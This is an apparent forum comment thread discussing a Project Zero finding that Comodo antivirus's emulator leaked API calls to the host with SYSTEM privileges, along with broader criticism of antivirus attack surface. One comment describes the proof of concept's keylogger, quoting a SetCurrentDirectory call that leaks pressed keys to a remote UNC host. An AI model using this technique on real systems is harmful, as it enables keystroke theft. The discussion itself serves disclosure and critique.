Very big kudos to Google! The flood of bugs they keep finding and getting other companies to fix is fantastic!
It's times like this that make me I'm glad I'm not a developer. If I were, I'd be forever worried that today is the day I open up my mail client and see a new message from 'taviso@'.
But yeah, agreed. Project Zero is amazing. It seems like every iOS security release includes at least one major zero-day discovered by Ian Beer.
There is definitely some major talent on that team. It makes me wonder what an equivalently skilled team would look like on the "black market."
That said, I'm getting seriously tired of their shadyness/incompetence recently.
I need alternatives.
What's wrong with Windows firewall/defender/anti-virus/whatever it's called these days? It's free, it doesn't try to market itself to you, it doesn't smell like malware, and it doesn't seem to show up in these regular sweeps of disastrous security bugs in the third-party solutions.
Seems such a big red flag (as though things couldn't get worse for AV-cred these days).
This is an extremely severe design issue, where an Anti Virus can not only be bypassed, but it can actually be used to compromise an attacked system. Comodo runs suspicious code inside an emulator(VM), but instead of implementing full OS emulation, they allow a lot of the API calls inside the emulator to leak out to the hosting computer, and actually run them with NT AUTHORITY\SYSTEM privileges(The windows equivalent of root).
The exploit code serves as a simple key logger, by repeatedly calling GetKeyState(With system privileges!), and leaking this information to a remote server using the SetCurrentDirectory() API (By calling SetCurrentDirectory("\\\\?\\UNC\\192.168.237.1\\<Pressed key>")
This is a beautiful attack, and I couldn't help but smirk at the "wtf!!!!" comment.
Don't we have exactly that design issue in all anti-virus tools, by definition?
All potentially dangerous data is routed through that single tool that runs with high permissions and performs complex computations. Every single programming error in the anti-virus tool (e.g. a buffer overflow) can potentially lead to a compromised system. An attacker can now choose not just between vulnerabilities of browser, mail client and operating system, but also use vulnerabilities of the anti-virus tool.
So anti-virus is by definition a tool with complex behaviour and a large attack surface.
For many security people, this alone qualifies anti-virus tools as additional threat, not as part of the solution - even without dramatic failures as shown in this particular case.
Comodo ships Adware Privdog worse than Superfish
https://news.ycombinator.com/item?id=9091917
Comodo “Chromodo” Browser disables same origin policy
https://news.ycombinator.com/item?id=11021633
Comodo Internet Security installs and starts a VNC server by default
1) that this huge attack surface existed in the first place. (almost by design)
2) how they "fixed" it. (not questioning their design at all)
The whole bugreport reads like an invitation to find more creative combinations of API calls that their filter forwards to the system. From the first comment:
> They're planning to fix those two issues and review all the remaining API's for missing parameter filtering, but wanted to know if I agree that their design is sound. I said I suppose they're correct in theory, but this is a lot of attack surface [...]
So creative combinations won't help until they reenable it.
Is there an indication of the complexity of the bugs they are finding? Are they among those that should be caught be QA?
The magnitude of it in this case is pretty funny ... can you imagine Comodo "security suite" or whatever just 3 months ago? A special secure browser without secure origin policy, a local poorly secured vnc server, a scanning and parsing engine that continually exposes itself to un-trusted input but has ASLR disabled ...
Most of these are not really complicated, they're bad feature ideas. But mass-market security products are feature-driven, not security-driven. So it makes sense that they suck at security.
Why are they running things like unpackers and emulators as "NT AUTHORITY\SYSTEM", instead of farming them to less privileged processes?
